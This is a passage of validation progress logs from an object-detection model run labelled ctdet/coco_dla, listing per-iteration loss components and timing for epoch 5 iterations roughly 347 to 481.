|wh_loss 3.6115 |off_loss 0.0529 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][347/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2223 |hm_loss 0.8039 |wh_loss 3.6384 |off_loss 0.0546 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][348/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2401 |hm_loss 0.8144 |wh_loss 3.6972 |off_loss 0.0561 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][349/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2368 |hm_loss 0.8122 |wh_loss 3.6866 |off_loss 0.0559 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][350/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2334 |hm_loss 0.8100 |wh_loss 3.6761 |off_loss 0.0558 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][351/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2300 |hm_loss 0.8079 |wh_loss 3.6657 |off_loss 0.0556 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][352/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2267 |hm_loss 0.8057 |wh_loss 3.6553 |off_loss 0.0554 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][353/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2234 |hm_loss 0.8036 |wh_loss 3.6450 |off_loss 0.0553 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][354/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2201 |hm_loss 0.8015 |wh_loss 3.6347 |off_loss 0.0551 |Data 0.002s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][355/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2168 |hm_loss 0.7994 |wh_loss 3.6245 |off_loss 0.0550 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][356/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2136 |hm_loss 0.7973 |wh_loss 3.6143 |off_loss 0.0548 |Data 0.005s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][357/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2103 |hm_loss 0.7953 |wh_loss 3.6042 |off_loss 0.0547 |Data 0.002s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][358/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2071 |hm_loss 0.7932 |wh_loss 3.5942 |off_loss 0.0545 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][359/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2039 |hm_loss 0.7911 |wh_loss 3.5842 |off_loss 0.0544 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][360/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.2007 |hm_loss 0.7891 |wh_loss 3.5743 |off_loss 0.0542 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][361/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1976 |hm_loss 0.7871 |wh_loss 3.5644 |off_loss 0.0541 |Data 0.016s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][362/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1944 |hm_loss 0.7851 |wh_loss 3.5546 |off_loss 0.0539 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][363/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1913 |hm_loss 0.7830 |wh_loss 3.5448 |off_loss 0.0538 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][364/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1882 |hm_loss 0.7810 |wh_loss 3.5351 |off_loss 0.0536 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][365/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1851 |hm_loss 0.7791 |wh_loss 3.5254 |off_loss 0.0535 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][366/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1820 |hm_loss 0.7771 |wh_loss 3.5158 |off_loss 0.0533 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][367/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1789 |hm_loss 0.7751 |wh_loss 3.5063 |off_loss 0.0532 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][368/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1759 |hm_loss 0.7732 |wh_loss 3.4968 |off_loss 0.0530 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][369/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1728 |hm_loss 0.7712 |wh_loss 3.4873 |off_loss 0.0529 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][370/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1698 |hm_loss 0.7693 |wh_loss 3.4779 |off_loss 0.0527 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][371/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1668 |hm_loss 0.7673 |wh_loss 3.4686 |off_loss 0.0526 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][372/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1638 |hm_loss 0.7654 |wh_loss 3.4593 |off_loss 0.0525 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][373/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1608 |hm_loss 0.7635 |wh_loss 3.4500 |off_loss 0.0523 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][374/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1579 |hm_loss 0.7616 |wh_loss 3.4408 |off_loss 0.0522 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][375/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1549 |hm_loss 0.7597 |wh_loss 3.4317 |off_loss 0.0520 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][376/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1520 |hm_loss 0.7579 |wh_loss 3.4226 |off_loss 0.0519 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][377/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1491 |hm_loss 0.7560 |wh_loss 3.4135 |off_loss 0.0518 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][378/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1462 |hm_loss 0.7541 |wh_loss 3.4045 |off_loss 0.0516 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][379/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1433 |hm_loss 0.7523 |wh_loss 3.3956 |off_loss 0.0515 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][380/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1405 |hm_loss 0.7505 |wh_loss 3.3866 |off_loss 0.0514 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][381/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1376 |hm_loss 0.7486 |wh_loss 3.3778 |off_loss 0.0512 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][382/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1348 |hm_loss 0.7468 |wh_loss 3.3690 |off_loss 0.0511 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][383/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1320 |hm_loss 0.7450 |wh_loss 3.3602 |off_loss 0.0510 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][384/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1292 |hm_loss 0.7432 |wh_loss 3.3515 |off_loss 0.0508 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][385/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1264 |hm_loss 0.7414 |wh_loss 3.3428 |off_loss 0.0507 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][386/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1236 |hm_loss 0.7396 |wh_loss 3.3341 |off_loss 0.0506 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][387/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1209 |hm_loss 0.7379 |wh_loss 3.3255 |off_loss 0.0504 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][388/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1181 |hm_loss 0.7361 |wh_loss 3.3170 |off_loss 0.0503 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][389/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1154 |hm_loss 0.7344 |wh_loss 3.3085 |off_loss 0.0502 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][390/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1127 |hm_loss 0.7326 |wh_loss 3.3000 |off_loss 0.0500 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][391/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1100 |hm_loss 0.7309 |wh_loss 3.2916 |off_loss 0.0499 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][392/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1073 |hm_loss 0.7291 |wh_loss 3.2832 |off_loss 0.0498 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][393/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1046 |hm_loss 0.7274 |wh_loss 3.2749 |off_loss 0.0497 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][394/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.1019 |hm_loss 0.7257 |wh_loss 3.2666 |off_loss 0.0495 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][395/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.0993 |hm_loss 0.7240 |wh_loss 3.2584 |off_loss 0.0494 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][396/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.0966 |hm_loss 0.7223 |wh_loss 3.2502 |off_loss 0.0493 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][397/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.0940 |hm_loss 0.7207 |wh_loss 3.2420 |off_loss 0.0492 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][398/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.0914 |hm_loss 0.7190 |wh_loss 3.2339 |off_loss 0.0490 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][399/2110]|Tot: 0:00:08 |ETA: 0:00:00 |loss 1.0888 |hm_loss 0.7173 |wh_loss 3.2258 |off_loss 0.0489 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][400/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0862 |hm_loss 0.7156 |wh_loss 3.2177 |off_loss 0.0488 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][401/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0837 |hm_loss 0.7140 |wh_loss 3.2097 |off_loss 0.0487 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][402/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0811 |hm_loss 0.7124 |wh_loss 3.2018 |off_loss 0.0486 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][403/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0785 |hm_loss 0.7107 |wh_loss 3.1938 |off_loss 0.0484 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][404/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0760 |hm_loss 0.7091 |wh_loss 3.1860 |off_loss 0.0483 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][405/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0735 |hm_loss 0.7075 |wh_loss 3.1781 |off_loss 0.0482 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][406/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0710 |hm_loss 0.7059 |wh_loss 3.1703 |off_loss 0.0481 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][407/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0685 |hm_loss 0.7043 |wh_loss 3.1625 |off_loss 0.0480 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][408/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0660 |hm_loss 0.7027 |wh_loss 3.1548 |off_loss 0.0478 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][409/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0636 |hm_loss 0.7011 |wh_loss 3.1471 |off_loss 0.0477 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][410/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0611 |hm_loss 0.6996 |wh_loss 3.1394 |off_loss 0.0476 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][411/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0587 |hm_loss 0.6980 |wh_loss 3.1318 |off_loss 0.0475 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][412/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0563 |hm_loss 0.6964 |wh_loss 3.1242 |off_loss 0.0474 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][413/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0538 |hm_loss 0.6949 |wh_loss 3.1167 |off_loss 0.0473 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][414/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0514 |hm_loss 0.6934 |wh_loss 3.1092 |off_loss 0.0472 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][415/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0490 |hm_loss 0.6918 |wh_loss 3.1017 |off_loss 0.0470 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][416/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0467 |hm_loss 0.6903 |wh_loss 3.0943 |off_loss 0.0469 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][417/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0443 |hm_loss 0.6888 |wh_loss 3.0869 |off_loss 0.0468 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][418/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0419 |hm_loss 0.6873 |wh_loss 3.0795 |off_loss 0.0467 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][419/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0396 |hm_loss 0.6858 |wh_loss 3.0722 |off_loss 0.0466 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][420/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0372 |hm_loss 0.6843 |wh_loss 3.0649 |off_loss 0.0465 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][421/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0349 |hm_loss 0.6828 |wh_loss 3.0576 |off_loss 0.0464 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][422/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0326 |hm_loss 0.6813 |wh_loss 3.0504 |off_loss 0.0463 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][423/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0303 |hm_loss 0.6798 |wh_loss 3.0432 |off_loss 0.0462 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][424/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0280 |hm_loss 0.6783 |wh_loss 3.0360 |off_loss 0.0460 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][425/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0257 |hm_loss 0.6769 |wh_loss 3.0289 |off_loss 0.0459 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][426/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0234 |hm_loss 0.6754 |wh_loss 3.0218 |off_loss 0.0458 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][427/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0212 |hm_loss 0.6740 |wh_loss 3.0147 |off_loss 0.0457 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][428/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0189 |hm_loss 0.6725 |wh_loss 3.0077 |off_loss 0.0456 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][429/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0167 |hm_loss 0.6711 |wh_loss 3.0007 |off_loss 0.0455 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][430/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0145 |hm_loss 0.6697 |wh_loss 2.9938 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][431/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0122 |hm_loss 0.6682 |wh_loss 2.9868 |off_loss 0.0453 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][432/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0100 |hm_loss 0.6668 |wh_loss 2.9799 |off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][433/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0078 |hm_loss 0.6654 |wh_loss 2.9731 |off_loss 0.0451 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][434/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0056 |hm_loss 0.6640 |wh_loss 2.9662 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][435/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0174 |hm_loss 0.6713 |wh_loss 3.0026 |off_loss 0.0458 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][436/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0280 |hm_loss 0.6799 |wh_loss 3.0201 |off_loss 0.0462 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][437/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0425 |hm_loss 0.6885 |wh_loss 3.0671 |off_loss 0.0472 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][438/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0402 |hm_loss 0.6871 |wh_loss 3.0601 |off_loss 0.0471 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][439/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0380 |hm_loss 0.6857 |wh_loss 3.0532 |off_loss 0.0470 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][440/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0357 |hm_loss 0.6842 |wh_loss 3.0462 |off_loss 0.0469 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][441/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0335 |hm_loss 0.6828 |wh_loss 3.0393 |off_loss 0.0468 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][442/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0313 |hm_loss 0.6814 |wh_loss 3.0325 |off_loss 0.0467 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][443/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0291 |hm_loss 0.6800 |wh_loss 3.0256 |off_loss 0.0466 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][444/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0269 |hm_loss 0.6786 |wh_loss 3.0188 |off_loss 0.0465 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][445/2110]|Tot: 0:00:09 |ETA: 0:00:00 |loss 1.0247 |hm_loss 0.6772 |wh_loss 3.0121 |off_loss 0.0464 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][446/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0226 |hm_loss 0.6758 |wh_loss 3.0053 |off_loss 0.0463 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][447/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0204 |hm_loss 0.6744 |wh_loss 2.9986 |off_loss 0.0462 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][448/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0183 |hm_loss 0.6730 |wh_loss 2.9920 |off_loss 0.0461 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][449/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0161 |hm_loss 0.6716 |wh_loss 2.9853 |off_loss 0.0460 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][450/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0140 |hm_loss 0.6703 |wh_loss 2.9787 |off_loss 0.0459 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][451/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0119 |hm_loss 0.6689 |wh_loss 2.9721 |off_loss 0.0457 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][452/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0098 |hm_loss 0.6676 |wh_loss 2.9655 |off_loss 0.0456 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][453/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0077 |hm_loss 0.6662 |wh_loss 2.9590 |off_loss 0.0455 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][454/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0056 |hm_loss 0.6649 |wh_loss 2.9525 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][455/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0035 |hm_loss 0.6635 |wh_loss 2.9460 |off_loss 0.0453 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][456/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0014 |hm_loss 0.6622 |wh_loss 2.9396 |off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][457/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9993 |hm_loss 0.6609 |wh_loss 2.9332 |off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][458/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9973 |hm_loss 0.6595 |wh_loss 2.9268 |off_loss 0.0451 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][459/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9952 |hm_loss 0.6582 |wh_loss 2.9204 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][460/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9932 |hm_loss 0.6569 |wh_loss 2.9141 |off_loss 0.0449 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][461/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9911 |hm_loss 0.6556 |wh_loss 2.9078 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][462/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9891 |hm_loss 0.6543 |wh_loss 2.9015 |off_loss 0.0447 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][463/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9871 |hm_loss 0.6530 |wh_loss 2.8952 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][464/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9851 |hm_loss 0.6517 |wh_loss 2.8890 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][465/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9831 |hm_loss 0.6504 |wh_loss 2.8828 |off_loss 0.0444 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][466/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9811 |hm_loss 0.6491 |wh_loss 2.8766 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][467/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9791 |hm_loss 0.6479 |wh_loss 2.8705 |off_loss 0.0442 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][468/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9771 |hm_loss 0.6466 |wh_loss 2.8644 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][469/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9752 |hm_loss 0.6453 |wh_loss 2.8583 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][470/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9732 |hm_loss 0.6441 |wh_loss 2.8522 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][471/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9713 |hm_loss 0.6428 |wh_loss 2.8462 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][472/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9693 |hm_loss 0.6416 |wh_loss 2.8401 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][473/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9674 |hm_loss 0.6404 |wh_loss 2.8341 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][474/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9655 |hm_loss 0.6391 |wh_loss 2.8282 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][475/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9780 |hm_loss 0.6463 |wh_loss 2.8730 |off_loss 0.0444 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][476/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9882 |hm_loss 0.6543 |wh_loss 2.8905 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][477/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0001 |hm_loss 0.6622 |wh_loss 2.9246 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][478/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0110 |hm_loss 0.6701 |wh_loss 2.9540 |off_loss 0.0455 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][479/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0090 |hm_loss 0.6689 |wh_loss 2.9479 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][480/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0070 |hm_loss 0.6676 |wh_loss 2.9418 |off_loss 0.0453 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][481/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0051 |hm_loss 0.6663 |wh_loss 2.9357 